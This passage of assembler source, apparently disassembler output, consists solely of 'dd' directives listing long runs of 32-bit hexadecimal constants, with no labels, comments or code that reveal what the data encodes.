		dd 67616807h, 0F8F059FFh, 186ABA0h, 14A999CAh, 812A0DE5h
		dd 47C66C58h, 25D7A0E8h, 0CCC62410h, 62E09F48h,	2E59D20h
		dd 9CE6C5CCh, 5EF38F20h, 82447579h, 7048C000h, 6060AD0Bh
		dd 353D7E18h, 21CE4E33h, 24B0A7C4h, 0C32F9A58h,	7170046Dh
		dd 8901E4B8h, 0DBD0C0C1h, 9E182967h, 0BE0212Dh,	7A032C9Ah
		dd 1315F6B6h, 17F08C37h, 641242C4h, 0F2E38CD0h,	1DCF24E5h
		dd 15AB42A4h, 8381E620h, 0BC3118DFh, 427A10C5h,	0CC613600h
		dd 6F6B82A5h, 4DB0B068h, 0F300EF05h, 0BC4C46B8h, 11FC0BD0h
		dd 8A04492h, 0DC099A48h, 242C93C4h, 4C80D4A8h, 1047D19h
		dd 4CBEA49Eh, 0AC8D8EC4h, 0B426D020h, 0E846AC61h, 44F0CAh
		dd 0F9E92838h, 8DB9C88Ch, 0AC6D804h, 73C042BCh,	16129871h
		dd 6B4F80h, 9373887Ch, 3E0021B1h, 4C31CB1Ch, 7FBFABh, 7687840Ch
		dd 0EF2B2A26h, 0E89ACC29h, 98E73D0Ah, 5C831612h, 8EB012A3h
		dd 6A8491A8h, 10442ABAh, 0DB0012E3h, 0B6C32C15h, 50F3F402h
		dd 629409C4h, 0AEA854CCh, 0AC0B8278h, 18785C9Ah, 0D1D8EC09h
		dd 9AB85273h, 44B000h, 20FB4B83h, 0C42B9EB3h, 493C6D59h
		dd 59AC4920h, 93D89BCh,	0C22C620Ch, 13B8E658h, 3687751h
		dd 8292C4E8h, 79473000h, 8ADEF00Bh, 0CAD70183h,	89C4A39Fh
		dd 9A208012h, 3339ACFDh, 22FC3CEDh, 10BC9F18h, 3E7811E5h
		dd 0C4BB2505h, 0EC478647h, 0C4D923EDh, 0A29D7A34h, 0E844C4h
		dd 55433F7Fh, 0B54C42Ah, 18592931h, 0DE4285Eh, 0C249C105h
		dd 70E5DD4h, 3E3C2CC3h,	9612E351h, 1108A7F0h, 0A44865FEh
		dd 0CE281058h, 64744BD0h, 76ECBCA8h, 34AA882Ch,	93020C11h
		dd 9E0B678Ah, 8F42E47Ah, 0CFEDE09h, 0E51A7458h,	6060CCABh
		dd 24D2A0h, 0D07125F2h,	10B5AD6h, 0CB3CAC9Eh, 0AAE55803h
		dd 1E484A8Ch, 0CB910D94h, 7ADC5040h, 6D5A1D51h,	2CD89C00h
		dd 3C4FC308h, 12096F4Dh, 5CEC958Bh, 0E0589404h,	18922B0Ch
		dd 9FC6C21h, 0AEED47Fh,	66BDE451h, 5C418D89h, 0A130E8ABh
		dd 0DAE2D441h, 0D13430C9h, 285189C0h, 0D413E8C6h, 0DCB28C07h
		dd 0A842F848h, 0DCA8C14Bh, 253473FEh, 2194E055h, 0A8DA9D84h
		dd 0CC0D3100h, 0B97E2C5Ch, 4D649294h, 5D26834h,	0D8B085B8h
		dd 0ED4AE510h, 37235C02h, 67BCE142h, 89C5F208h,	0D0C1884Ah
		dd 306841FFh, 0B10DC92h, 35F11841h, 4E43EC60h, 0E374C4A5h
		dd 6A438774h, 9EDC2369h, 7D900664h, 209CBAD4h, 92A3321Eh
		dd 0A08BB60Bh, 0B1F40B6Ch, 0E5F00AABh, 1784D6C6h, 0C490F498h
		dd 0A1D96271h, 0F0C42B80h, 2038A350h, 431D6CC0h, 528ECB58h
		dd 0A255032Eh, 0AC5D8003h, 0BBE00083h, 0C682FCFAh, 0D80036B5h
		dd 3F44E8A8h, 0E8471BD6h, 60213BBEh, 18AE071Bh,	0A5ABFBC0h
		dd 0AA353Ch, 0BD4692D8h, 0EA433DC2h, 0EAA67123h, 41E701E8h
		dd 0AABEBCC0h, 182A60CBh, 4B244C00h, 0BAD983DBh, 0D4FA38FCh
		dd 0C06B2B83h, 93A86460h, 0B500ECD1h, 3E443DE5h, 3FB9A34h
		dd 0EBE8FDC3h, 180131CCh, 3A1856AAh, 41F0E973h,	689A6030h
		dd 28C7F8FEh, 0AFD8540Dh, 2088985Bh, 0C31F0942h, 434BF800h
		dd 60D1551Bh, 9399D01Dh, 0E5000465h, 0FA101454h, 0C0CF8FABh
		dd 0B6CBC2E0h, 7CFE59DFh, 412284A0h, 43D6F200h,	0BF861157h
		dd 4C9E0174h, 381972BDh, 0FCC3FC79h, 0ECEA9D1Fh, 0B6DA55C0h
		dd 2943C2h, 2B91448Fh, 0DD076E2Ch, 0FCCA723Fh, 8251A107h
		dd 55C1505Dh, 9887E4D8h, 530B8517h, 443C83F0h, 91037C29h
		dd 73D810EDh, 0AE0005Dh, 7EF3BECBh, 75F84846h, 0C7D4F251h
		dd 92B81000h, 1D57158Eh, 39EE01E1h, 5EF9FBE3h, 40BBCC0Ch
		dd 0DC41630Ah, 26009001h, 2C8EB2B6h, 808C5164h,	618419Eh
		dd 9858C155h, 3BB0291Dh, 8EBA2130h, 62673FCh, 78D8800Eh
		dd 0EA068007h, 2D2AABF4h, 0C6571828h, 4827198Dh, 1E801B5Fh
		dd 0E8B6373Bh, 307A48C0h, 73F4C282h, 9A131C48h,	0A1984119h
		dd 3C40FF10h, 3AD54C0h,	41EB0620h, 180072F6h, 4BCDBBFDh
		dd 0F86BCA67h, 0FA9640A6h, 5091203h, 0E769402Ch, 1F017584h
		dd 8E3425D8h
		dd 815F1078h, 68A637D5h, 74903CFFh, 0BA41E505h,	0C1F807D0h
		dd 0CBFD60FBh, 0E22455DCh, 5887204Dh, 68508F1Bh, 0C03E84D8h
		dd 0CD11ED50h, 0D4017C74h, 5751A2ABh, 0DACCC0BDh, 0E9DE2836h
		dd 0D0E22090h, 0F9A883Eh, 0EA553FAEh, 0C2BDB419h, 6912653Eh
		dd 78C840C6h, 7224041Bh, 4195E006h, 28AFDAh, 98A78116h
		dd 804B2187h, 0BB00B490h, 0B1F1B629h, 18CA5879h, 31E14164h
		dd 9CE4C543h, 1CD0C348h, 88C06250h, 0A0D977F2h,	0C27A000Fh
		dd 691A8E8Ah, 0AB1A5035h, 0C09025AAh, 391C3C7Eh, 0B686F06Fh
		dd 0F82186D8h, 0CC483D09h, 43DB0024h, 5FE4CAh, 0D8086D95h
		dd 0A1ECD47Ah, 0C381D9F1h, 3604307Ch, 0E4E85326h, 0F732F480h
		dd 0F83B0015h, 0A8A0B229h, 0D8186CF1h, 7E30DCE9h, 79467845h
		dd 0D810D161h, 41EA6903h, 0D82933E5h, 6C029C47h, 525B55h
		dd 0B4B3FFFDh, 0FA80B93Fh, 2830AE49h, 3724E05Fh, 29E04486h
		dd 8B6FAFh, 36A5B97h, 0C28852E5h, 1B4E4110h, 0AA981824h
		dd 0EFEE00Ch, 2D3CCDBDh, 0ABAF5400h, 88CB2ACFh,	1F2E7059h
		dd 263B55A3h, 0F6FC0708h, 1270E032h, 8E7AEAC9h,	0E09CD83Dh
		dd 566D0580h, 29FC1874h, 5E662EA3h, 0E965CA01h,	0BD23D0C3h
		dd 7D3D03D8h, 2AD30359h, 84C6AB6Dh, 358A700Eh, 82E76025h
		dd 0DE0105EDh, 0C615DE02h, 107049EAh, 202D8820h, 67075B19h
		dd 7321F682h, 0E9E90253h, 1ABE340Ch, 4C8FEB3Dh,	18664126h
		dd 8C0D31ABh, 64842505h, 5F952F01h, 82281D06h, 5C7F40C5h
		dd 0C564E37h, 1C7E1057h, 405EAC3Dh, 59861320h, 40223D40h
		dd 51185A4Ah, 21F03B9h,	28597FC3h, 815310F2h, 8FA4881Dh
		dd 0AE10309Fh, 707712Eh, 0D92A1719h, 707B60D3h,	25751E1Ah
		dd 0B2901B05h, 98F89DE9h, 0BCB25E9Ah, 550EC8E9h, 5D593E0Bh
		dd 0C4325610h, 317D6770h, 7929A868h, 0E9C10A43h, 0E8F632Eh
		dd 4C87C058h, 3B66CF89h, 2551E57Dh, 0A7CB9A2h, 20C3825Bh
		dd 0C9EA5103h, 5D0C0511h, 82250DD3h, 368D722Dh,	34170436h
		dd 3406221Eh, 46328785h, 3EEC7D8Ah, 82EED21Ch, 281BA583h
		dd 290C050Ah, 1168477h,	8E8C34C9h, 0E7C2F0E0h, 529D4F1Fh
		dd 2D45EA01h, 0BDD44810h, 0D2E9CC07h, 293DE27Eh, 2850B033h
		dd 757258B2h, 178A242Ah, 6057C519h, 4484EAF3h, 0A4ECB5C0h
		dd 3C5B3C24h, 0E403DCF8h, 7E4B0309h, 8044103Ch,	36C6F9F4h
		dd 0AE00222h, 60FA8A5Ch, 7C6C14C0h, 7B38E801h, 21FB0241h
		dd 1C08060Bh, 0B145753Dh, 0F0483414h, 1D328541h, 6940561h
		dd 8A20C88Ch, 0A33E20A1h, 35B8B556h, 0A0152A35h, 57FB4605h
		dd 12EE2167h, 5E362256h, 0B1403628h, 0CC401D2h,	0C1B71059h
		dd 6BDE8864h, 0E68A5683h, 5BEA054h, 0C1EE7977h,	9AFE5D5Ch
		dd 5EECFCF2h, 3CC4EA28h, 357BC242h, 50E8F977h, 59A26636h
		dd 0BA526190h, 9D300700h, 0A9695348h, 0BCC8913Fh, 8400CE3Dh
		dd 0C8826003h, 962415ABh, 0BE19090Ch, 0A6408A45h, 985758BCh
		dd 0D4F82866h, 8AF0AE7h, 0F510BDh, 0D518A0F7h, 0EA18DB2Ah
		dd 0F83A2213h, 0F9BEC1D2h, 0F4039A74h, 55D84244h, 3DD6BFAAh
		dd 247D1E36h, 0BFADA9E9h, 5B76E826h, 66B69E0h, 0EA66E605h
		dd 8309E81Eh, 5144115Dh, 20DC6D1Ch, 97F0600h, 182E3670h
		dd 0DCC1519Bh, 0A3C9351Fh, 812084D1h, 75DA3CCh,	25FF62Ah
		dd 3864E2ECh, 0D5F4C3A0h, 687B6639h, 169E6F34h,	0A80B564h
		dd 90895292h, 84F8008Ah, 48111029h, 74CE8C2h, 80683878h
		dd 0E1D217BAh, 0F46AA12Eh, 2CEA78h, 0E61B159h, 20F66582h
		dd 5C16EA10h, 0EDEB3115h, 92235A23h, 0B20528A4h, 4181296Bh
		dd 0DD359F54h, 506C18AAh, 0DD329434h, 605AA406h, 6304A6F4h
		dd 43C8391Ch, 5B4EFADFh, 4A730F14h, 901BBFF8h, 13E2011Ah
		dd 0EA63381Eh, 3B46EAD2h, 55545B1Eh, 16607FCCh,	5FCC3C81h
		dd 81131A2Ch, 0D1538969h, 25FBE93Ah, 0F0E84062h, 0B40BE52h
		dd 0F4601622h, 69070247h, 404C65E8h, 85539304h,	25C7C26Bh
		dd 0D687EC34h, 1B7B0E30h, 2CF0ED34h, 52100178h,	18C6BF57h
		dd 0C79A40E8h, 69F0759Bh, 0C80CEFECh, 18158C37h, 8E6A10F8h
		dd 4F94076Fh, 0F7C05541h, 0C9809DFh, 8CF432E0h,	152AEAE0h
		dd 1D59AA53h, 0F902C087h, 0F162E60h, 2A536E6Ch,	684560Ch
		dd 409D0509h, 0F829008Ah, 67A4EADEh, 0B551FEF7h, 0DF408E1h
		dd 0E6825C07h, 3882DB0h, 9808ECC2h, 0D98B000Ch,	9A2ED756h
		dd 4358B30Eh, 70628E9h,	17201690h, 90672482h, 0E6470CB4h
		dd 3D4C3464h, 1244D64Eh, 131E0B10h, 842E63E2h, 19880C24h
		dd 91695D02h, 0AED6465Fh, 1250D237h, 0C1BA4051h, 0D2F709E2h
		dd 0A273817Bh, 0AC76C224h, 53006210h, 0D45203BBh, 0D6513279h
		dd 60A11DBFh, 2F39BD57h, 0ADF46054h, 0EC68723h,	845EEF8Ah
		dd 0E4EA067Ch, 56902E12h, 549FF804h, 5CC040AAh,	649764BDh
		dd 549D744Fh, 42B102B8h, 0E98A0C9Fh, 7394E330h,	543E8C8Ch
		dd 0C482E40Ah, 0EA0C6C82h, 994A9C30h, 3D8004E3h, 0A7933D21h
		dd 22AA526Ah, 8A0384B5h, 0A5AB0C8h, 6E5AD0FAh, 3A30C7D0h
		dd 584FBA0Ah, 0A1DC707h, 4DD35AD0h, 541A3BA3h, 75A02B18h
		dd 451E7EECh, 27DC1D72h, 80BEC4E0h, 0B1510098h,	0C5C489CFh
		dd 1F6C916h, 67D129C3h,	0D91B305Bh, 0B23052EAh,	0EACE06E2h
		dd 1452BA55h, 0C906F0C2h, 12F73439h, 0FDBF86Bh,	5526F3C5h
		dd 0E305111Bh, 7BBB1EBEh, 37E62180h, 2790107h, 0D8325ACBh
		dd 514AA85Bh, 69AFF80Bh, 0A1D820F4h, 0C10B7976h, 7159F752h
		dd 0FADE6537h, 41C088Dh, 84982C14h, 0FBE9DAFFh,	0EAFF245Dh
		dd 2C0C8226h, 6711F38Eh, 56B273C3h, 49E8AA21h, 6B118813h
		dd 36247ECEh, 16695709h, 0D1BA5397h, 505B1110h,	426AEDAh
		dd 0E7123179h, 90C1A60Eh, 6BD83603h, 66D14CC8h,	3579936Ah
		dd 63B3B027h, 0BB160548h, 0FC51C7h, 5C36C38Fh, 0AAA05D0Ch
		dd 6A0606A2h, 8788EA4Dh, 2E41002Ch, 8E428CE4h, 590CC202h
		dd 9966EC69h, 2E6C4006h, 124B2494h, 59D9EB3Dh, 9741427Ch
		dd 85C7FD92h, 457E880Ch, 0C5FB5058h, 7D0403C0h,	590C197Ch
		dd 540208F0h, 60419EBCh, 0C4DCE976h, 1B0350C3h,	0CA7B18B0h
		dd 59932836h, 0A6BB409h, 0CB5F80DBh, 9D830EEh, 14F6EA49h
		dd 69141446h, 0D2BF1DCDh, 563F0Bh, 59078D29h, 0F0821B47h
		dd 0FEF80D89h, 0EA710260h, 2545B028h, 47B40D40h, 0EA580612h
		dd 0AC1677CEh, 20884AE8h, 0E3BCEA04h, 0EBAC8C4h, 0C24A80FFh
		dd 820107E2h, 88068FF2h, 0C7C74A2Ah, 0B88401CBh, 0D52402B4h
		dd 0C6A99A51h, 0CED9F6Ah, 49B0C686h, 0E37F2660h, 0C66F7BF6h
		dd 8CE5F348h, 0D18A700Ah, 0D700F75Bh, 604B67Fh,	4008003Ch
		dd 58C72665h, 48BA255Fh, 4C41C120h, 8A076E48h, 403A84B2h
		dd 0D22A60FBh, 0C9025B15h, 6BEA1D87h, 5AF0EF70h, 0E5F83981h
		dd 0F276A2DCh, 13F9E229h, 0E70055Ch, 69822D0Ch,	4B0F15h
		dd 8403828Ah, 0D8C82CC6h, 36EBBFCEh, 29402032h,	4462E069h
		dd 9A8A53Bh, 6C036490h,	29529A94h, 0B7526806h, 7457812Eh
		dd 26905F2Eh, 2B070B0Bh, 5CCB0029h, 16282D77h, 34497AEAh
		dd 57169342h, 6D42E1h, 0A0315967h, 9606079Ah, 10024AE7h
		dd 0D467B103h, 0EA9D8683h, 0EA03E2B5h, 0FF7AB854h, 0FE67D3C8h
		dd 53FEC137h, 9F77B652h, 0D0D6D906h, 7BFDD50h, 0F9105106h
		dd 0FC4A866Fh, 0F75C1E18h, 7C2609DBh, 0EEA3EB93h, 108E1C58h
		dd 0F7067BA9h, 72EF81D7h
		dd 0D456E820h, 5D4A3C48h, 474BBFC9h, 0F2565ED5h, 8E720D5Fh
		dd 0FC17973Ch, 28605A27h, 7A26D5DAh, 37068001h,	0FBF4BA35h
		dd 2CCC4DCAh, 364BDE49h, 5D120D20h, 8EC730EAh, 0D1EB6B69h
		dd 3201960Fh, 4178E2C9h, 0DD51C742h, 1F30A023h,	9CBE562Dh
		dd 15E36005h, 0C51CEEC2h, 191C54C2h, 79074013h,	712D2E50h
		dd 0F0103086h, 33602509h, 0B336E4BAh, 252A7C5Dh, 84822259h
		dd 2F092EFAh, 2FB06EFh,	0E1D42877h, 66525DAEh, 3A40DEE6h
		dd 36EBA34h, 1067F2F7h,	0EF9CDB7h, 0D6E99D1Eh, 848187D3h
		dd 470C42Ah, 0C6818090h, 0FE297F1Dh, 165EE5Dh, 35C5EA02h
		dd 0F0C271A0h, 92F4641Ah, 34338332h, 0F5D0628h,	6013DB2Eh
		dd 4F2815BBh, 3B201034h, 0FA058248h, 44235032h,	24BE56BAh
		dd 91BCE487h, 89E60EC5h, 0FA6759E8h, 6D9BE35Ch,	57C64504h
		dd 5580D847h, 0D1065EE9h, 5484A242h, 0F0B1651h,	34D8849Fh
		dd 0CA53A387h, 0D1E2AB48h, 1A9EA7F2h, 8BFFE41h,	0C3B8F9AAh
		dd 0FEFB462h, 8E478094h, 3E3B511Ah, 8CEA0B2Ah, 2E832E6Fh
		dd 571E90Ah, 701D1DD8h,	8EE0B8C9h, 0EB00F2A5h, 1B304964h
		dd 24527E5Ch, 479E9DA2h, 0B36EF95Ah, 8660EC98h,	7EBCEB17h
		dd 696B0B46h, 711A2E6Fh, 47A45AC0h, 0F8784A09h,	5F487D2h
		dd 67D5EA77h, 6D4B2799h, 99EF841Dh, 0B5329C34h,	0E6110D06h
		dd 110600B1h, 0F850A533h, 19367ED9h, 92D8B610h,	740BFC3Bh
		dd 29EDEA10h, 0C55D2242h, 742E0D20h, 0EF9DDDE0h, 24168D2h
		dd 0F7695853h, 608E077Fh, 91E91F50h, 0F32A85A1h, 64D7E05Fh
		dd 0A8910DDh, 19480BDFh, 9E25044h, 43378441h, 0B3E20999h
		dd 81026670h, 0FF5A1BEBh, 6AA5E1CBh, 0D15BD5FCh, 8840A33Ah
		dd 412507ECh, 85CF0203h, 0D00812EFh, 4D71EA46h,	12827D9Ch
		dd 8031EE67h, 0D955D3F1h, 0CE8EC5Bh, 163517C6h,	0E1FDE18h
		dd 0D0011268h, 27A47AB1h, 16DAF8F0h, 12798D4Bh,	65F210FBh
		dd 446D2A16h, 120470AFh, 6D90E00h, 60CA55A0h, 40F3E07Eh
		dd 37B61C9Bh, 4D4C050h,	23A3F50h, 9E35A2F9h, 122EF1CAh
		dd 85EAD933h, 0F08AF8D1h, 40664030h, 893C6591h,	0DF991903h
		dd 94F85920h, 0AE1CC595h, 14118132h, 21F13568h,	913249ADh
		dd 0A9500374h, 0C92102E2h, 137C695Ah, 0F3207271h, 0D7119960h
		dd 0A1F1325Bh, 55651EF6h, 581C49E2h, 0DB183A7h,	0BEDE513Fh
		dd 219AEC4Bh, 5E28A0A4h, 1202955Ch, 0F832CD70h,	9EF180DFh
		dd 0A039DB73h, 30048FEFh, 0B50C2FFBh, 0B84C7BFCh, 7345043Eh
		dd 0E7C24DA2h, 0EDFD4003h, 61C32C0Ah, 0D7042D88h, 0C9C5C45Fh
		dd 0BCCA8A44h, 72194C02h, 28C0BF0Bh, 0C265125Fh, 0E54804E7h
		dd 89B30EA3h, 0D9408229h, 85AC5339h, 0A23CC869h, 0D6BB0005h
		dd 563DD819h, 0BDEA2753h, 55576801h, 5CAEB5Fh, 5BEDCBAAh
		dd 8EEA0C09h, 5490232Ch, 0E4929F5Ah, 97C4419h, 63754BB6h
		dd 58FC228Fh, 51EAF859h, 1CC26416h, 0A3F26B80h,	16BE3E42h
		dd 0CA3B3A93h, 0BFC260C9h, 0E5681954h, 0C007D470h, 3775F027h
		dd 23C4ABBh, 8A072C8h, 78F95359h, 0C5D8898Bh, 89881396h
		dd 9CA61EAh, 0B5D9CBBCh, 0CD0E6019h, 0E789531Ch, 3C08F697h
		dd 165F140Fh, 7CF8F54h,	0C2108E57h, 0C58B7F0h, 0C8B86044h
		dd 0DE1F7474h, 0ECD34401h, 40331980h, 57920h, 0F38204E3h
		dd 1F42442Ch, 80B90CCEh, 0CEA6EBDh, 6182AA7Fh, 6845BE80h
		dd 15E2A921h, 3B0391ADh, 57CA1AB6h, 0EA2625D2h,	6984772Fh
		dd 0E98D3B07h, 0E9A7E28h, 570EC1h, 743E432Eh, 20099038h
		dd 5B3BA142h, 13C09651h, 41E0232Ch, 4C9D2978h, 0DDAC12A1h
		dd 9E8AC40h, 762A0C65h,	0E388FAD2h, 0DC5DBE4Ch,	8DE6D2DBh
		dd 74A27171h, 3D406374h, 63587267h, 45241682h, 5525E2C6h
		dd 6962904Ch, 28525FA9h, 5DFF8C22h, 239461FFh, 0D8C22E60h
		dd 259CF563h, 94F0C7E9h, 0E65A1E28h, 7EA97B88h,	0BCEF2280h
		dd 7869617Ah, 73DA5874h, 2E3F98E2h, 48531352h, 1365AB60h
		dd 0F84B1F0Ch, 2E166E0h, 0BA99A8C1h, 1392E1F0h,	34EA3007h
		dd 0EE85CE2Ah, 325A0805h, 23A57781h, 0F1C24201h, 0F2ADF904h
		dd 0D748BF89h, 689A46A3h, 916F7B02h, 4088562Eh,	0D7D7F811h
		dd 0B338C00Bh, 0E5922126h, 4B848F20h, 59CF225Dh, 0EC930854h
		dd 8E589249h, 4D4EA288h, 5B7A6076h, 7722F607h, 1EF75C47h
		dd 8A54F603h, 0C0015FF8h, 707431DEh, 74A0FE02h,	20E6B008h
		dd 0BDB695ABh, 344A69C1h, 513C0633h, 0A2366B80h, 1C065910h
		dd 4F1E5605h, 15D419EAh, 9A09C95Eh, 8C9F6E37h, 0DE2A12E4h
		dd 0D92F855Ch, 696B8135h, 2AE2338Bh, 4E921F60h,	0B6C5354Dh
		dd 27FC1694h, 7CE06BC9h, 6E9C3Dh, 6846D5B9h, 0CD3C896Fh
		dd 0DCA0059h, 0E9010E61h, 0E2051D5Dh, 291A0278h, 7802DC8h
		dd 0E9240C8Bh, 4A691631h, 3BC115B8h, 0BBEF8h, 314B6317h
		dd 0F7C2E9C6h, 2212D0BDh, 0F2ED04C1h, 4A330686h, 0D06316Ch
		dd 5C88F18Bh, 66189889h, 0A3EC816Fh, 0CB2CF31Bh, 0C2E2A252h
		dd 0EA2D24B7h, 73F3E920h, 348B0AC6h, 41E32052h,	0C0D6F600h
		dd 0E68006EEh, 0C6E6D0h, 8BF120F5h, 0C4832414h,	0B1E9042Ch
		dd 93989422h, 6EC1F3Fh,	0FFF189B9h, 815E1452h, 310F38C4h
		dd 0F3E759CEh, 146C56E9h, 51D26818h, 0D1241CB3h, 0F3006248h
		dd 5BDF015Eh, 244C781h,	893C5133h, 5C060CCEh, 336EE928h
		dd 0A75DE828h, 4523190Fh, 94D6C414h, 25D5F707h,	0A40F80DDh
		dd 0E600B2C9h, 15DEB89h, 52875BDAh, 0C10EB014h,	0CD460AE9h
		dd 0D3DE3C29h, 0D8E17C8Ah, 0E651580Fh, 0F7AD631Ch, 5055E158h
		dd 0EEE958BDh, 9C0AD153h, 5C8B4B67h, 2A652E50h,	815B5C1Ch
		dd 5BD8A890h, 22CCA45Dh, 66EC7CD5h, 0CCB60F0Eh,	0F6456A68h
		dd 0D8E56D6Eh, 0B8504101h, 4C43900Ch, 1BED0C55h, 0C110D547h
		dd 0E68105EEh, 22260385h, 0DEF74E6Ah, 0BAE51202h, 0C101670Bh
		dd 0B680875Ch, 0ADEB805Ch, 0BC50B551h, 96535284h, 685F0693h
		dd 207D1B56h, 26B08C2Ch, 4F2ECA00h, 5AD32916h, 0A7680050h
		dd 5866A872h, 9724E940h, 0F7946A1Eh, 189C3D87h,	0FE146443h
		dd 6513EEC2h, 705B4DBh,	6AC08375h, 3968044Dh, 0FE298D07h
		dd 0B58B43h, 3377BAEDh,	4A1867F2h, 5A14F752h, 0DFCA3F81h
		dd 2C36E19Fh, 0F8517F2h, 0F3A6486Bh, 2709A04Ch,	202C8AE9h
		dd 7BA1C2A2h, 0BD264937h, 6E507356h, 20598165h,	96073609h
		dd 0CF89870Ch, 0E9FB0190h, 22AAEF11h, 5458F038h, 0F68DA03h
		dd 43C049FEh, 0BA018A59h, 94857h, 4006E0C1h, 3E7FBD2Dh
		dd 907AF012h, 93CAA425h, 81E90617h, 0C028958Ah,	66619BD8h
		dd 5F54572Fh, 594CAB21h, 38EC20E9h, 21F52148h, 0A862834h
		dd 4A12680Bh, 0E3696EADh, 101D831h, 0E30EB83h, 68104057h
		dd 0E85021EFh, 494C4159h, 0F1C9096Eh, 0C86187F2h, 43F906BFh
		dd 0EDC1122Ch, 8AD31F03h, 83B7494Bh, 5868CDF5h,	0DAFC561Ah
		dd 0D97A13C8h, 2C945219h, 0C44C854h, 0CF754843h, 870623E4h
		dd 0F75C3201h, 0F4B7E9D0h, 95C3609Dh, 51249A26h, 70043BE7h
		dd 0C18963CEh, 0CB5650FCh, 244045A9h, 801FDACDh, 5DE4A5C2h
		dd 82B21431h, 935346B4h, 6E3C892Bh, 2903E0B9h, 5950E9CDh
		dd 0F60002E8h, 0D17EDB21h, 0C2ACF789h, 0E9F90109h, 0BF86255Bh
		dd 0CFC1BB34h, 0F7226856h, 0F0379A48h, 97E9B43Dh, 9A33422Eh
		dd 3D0F4E64h, 0ED6BDD1Ah, 20128B4Ch, 0F4714058h, 53BD2C29h
		dd 17E20119h, 0F301063Ch
		dd 30081C41h, 0D012890h, 414934AFh, 13CF12E9h, 5258C797h
		dd 1F7208CFh, 0CCD6806h, 86A1208Fh, 0C5805B02h,	0B8EB284Eh
		dd 834706DFh, 462A1CDBh, 8090B69Ch, 0F237C078h,	51D3BAE0h
		dd 2D0A00D7h, 353B6323h, 550D001h, 53485A07h, 1D137B55h
		dd 45144F9Eh, 5AD6C0ADh, 0C58F1AE9h, 81F38010h,	305BDE26h
		dd 0BFFC6170h, 88B50658h, 31C41304h, 3509AAEh, 0F2CEE04Eh
		dd 6472648h, 52AA029Eh,	0C660400Fh, 0AC0911BDh,	0D8F768h
		dd 38920D36h, 8E2660E8h, 0CB31BC16h, 8283297Dh,	0EB14092Eh
		dd 5D91EDECh, 892C2C90h, 19368D13h, 0EC180924h,	4BC92617h
		dd 0F7D738E7h, 0E2E9125Eh, 311B427Bh, 51695AD7h, 22AE5487h
		dd 3A8E5FC6h, 899122F6h, 2400EF89h, 9269E952h, 0A4BF5780h
		dd 62051C8Eh, 0A775274h, 0A072D53h, 49F43C8Bh, 583FD013h
		dd 58F4FCFFh, 1AE78F4Dh, 600A0966h, 0C0D65E04h,	0EE295F94h
		dd 22A22C8Bh, 36E89543h, 1501114h, 0C60081DDh, 751B088Dh
		dd 0C099ACE9h, 0D7F75F90h, 68159297h, 4D8C446Dh, 7F3510C4h
		dd 0FD00582Dh, 0D9118EEAh, 89510C1Eh, 595F5CB9h, 0F0218580h
		dd 139274C9h, 6B890352h, 81E0803Ch, 7A13A8E1h, 1508234Fh
		dd 0E5002A38h, 0F26A9A41h, 0A889D294h, 258A8134h, 0CEFE66D0h
		dd 41BB7799h, 77FF03FEh, 0A59087A6h, 1E326720h,	0D5BD901h
		dd 0EE1095FEh, 630B986h, 14876648h, 922CE689h, 3D947E0Ch
		dd 0FCC8C1FAh, 20261E38h, 164C96F9h, 0CA747E7Ch, 246A3D4Dh
		dd 0E348895Ch, 0E49F6BEh, 8CC73B42h, 0EA34A963h, 36E44139h
		dd 2AFE4C95h, 0C40C208h, 0BA6540B7h, 0DB12CD0Fh, 14175F5Dh
		dd 1D8C1F5Dh, 0A06C5F2Ah, 120EBB95h, 5F012EB0h,	0C44141Ch
		dd 35095E89h, 0EFB0D0BBh, 0FF13556Eh, 9E408947h, 2DD36857h
		dd 195DF596h, 5B40DF40h, 0BE082C8Fh, 287D0237h,	43CCC601h
		dd 32A84E5Ch, 53AD3293h, 2FDF31C6h, 46BD026Ch, 51AA81C2h
		dd 59227C22h, 11948B77h, 11B01244h, 812BA658h, 113255FAh
		dd 0E248388h, 5E592D6Ah, 53E3A641h, 59696800h, 0A7E929ABh
		dd 3877360Ch, 1130AA68h, 60C84386h, 555E8983h, 6BE30080h
		dd 0BD061FBBh, 0E0449421h, 7B6709A2h, 62807F70h, 95F3F66h
		dd 1CFD0134h, 14B60810h, 845416h, 0FF2F7135h, 4C5297Bh
		dd 0EE015F58h, 25B825Dh, 0B9809810h, 31BB924Ah,	26BE768h
		dd 28216430h, 0DE6D764Fh, 0D4344BB8h, 0C056F224h, 0F3629223h
		dd 6BBE2501h, 0E97B872Bh, 0C02FCADAh, 0B345E5Dh, 0D10156EBh
		dd 0CC364A84h, 0C909B822h, 876205Dh, 0D747F1BCh, 0A133C97Fh
		dd 1C770940h, 0D266CEE4h, 89BA4712h, 0D021E2FAh, 68C8E54Bh
		dd 5DD42282h, 15DF4848h, 1DAA2E9h, 2E9BC381h, 8C601F32h
		dd 0EA80805Bh, 0D7D0CD39h, 0F99C68D1h, 43139B19h, 0D2288ED8h
		dd 5829CC0Ch, 9C2A23B8h, 34B13C2Ah, 26A0E986h, 8BFA1D5h
		dd 7F2C59E5h, 4F002C4Ch, 0D125D606h, 0A4EBF7EEh, 9C002304h
		dd 0E907355Ah, 2E856FF3h, 496DDC40h, 0F1008164h, 2F3A3F8Dh
		dd 0CC02E9C1h, 25180506h, 60092706h, 2610D1F7h,	17DF586Dh
		dd 4C990621h, 2C988D83h, 2F31CF0Ah, 7A07E146h, 0E921F044h
		dd 0B251540Fh, 633059CAh, 0DCC73E86h, 0FF49AA48h, 0B4C6809h
		dd 1661201Ah, 0FF66003Dh, 0C047F030h, 80E7B611h, 0C0072AEEh
		dd 0C6FE06E6h, 78D01FF4h, 487607BAh, 0E7101846h, 0E8C10BE3h
		dd 64EF0C03h, 24179C3h,	0E95502EAh, 0E5A04F95h,	6E1DDF6h
		dd 0E629A026h, 790BE961h, 435189A6h, 5869D2DEh,	0C15C652h
		dd 121E1BCEh, 251EF20Ch, 29CC4B8Eh, 985A4119h, 22027FCFh
		dd 0AFB08FEBh, 0C50C1109h, 0D8E98589h, 0EA7188D7h, 0B1424A5Dh
		dd 0E5022994h, 754C5767h, 0E37FAB0Ch, 44EACC39h, 4CE0EF54h
		dd 1037C348h, 5E3461D5h, 89D74678h, 0B62032E1h,	0BA875084h
		dd 2BF7B15Ch, 9B5A65Ch,	60E65A54h, 51505500h, 383F4768h
		dd 0EB29625h, 314F0A14h, 830258ABh, 5C046ED9h, 54413E2h
		dd 316ECD33h, 0B866DA06h, 0D9DFE912h, 8C0793D5h, 1AF94E68h
		dd 5376C087h, 218B050h,	79C27ADCh, 0EF4988E9h, 44A62387h
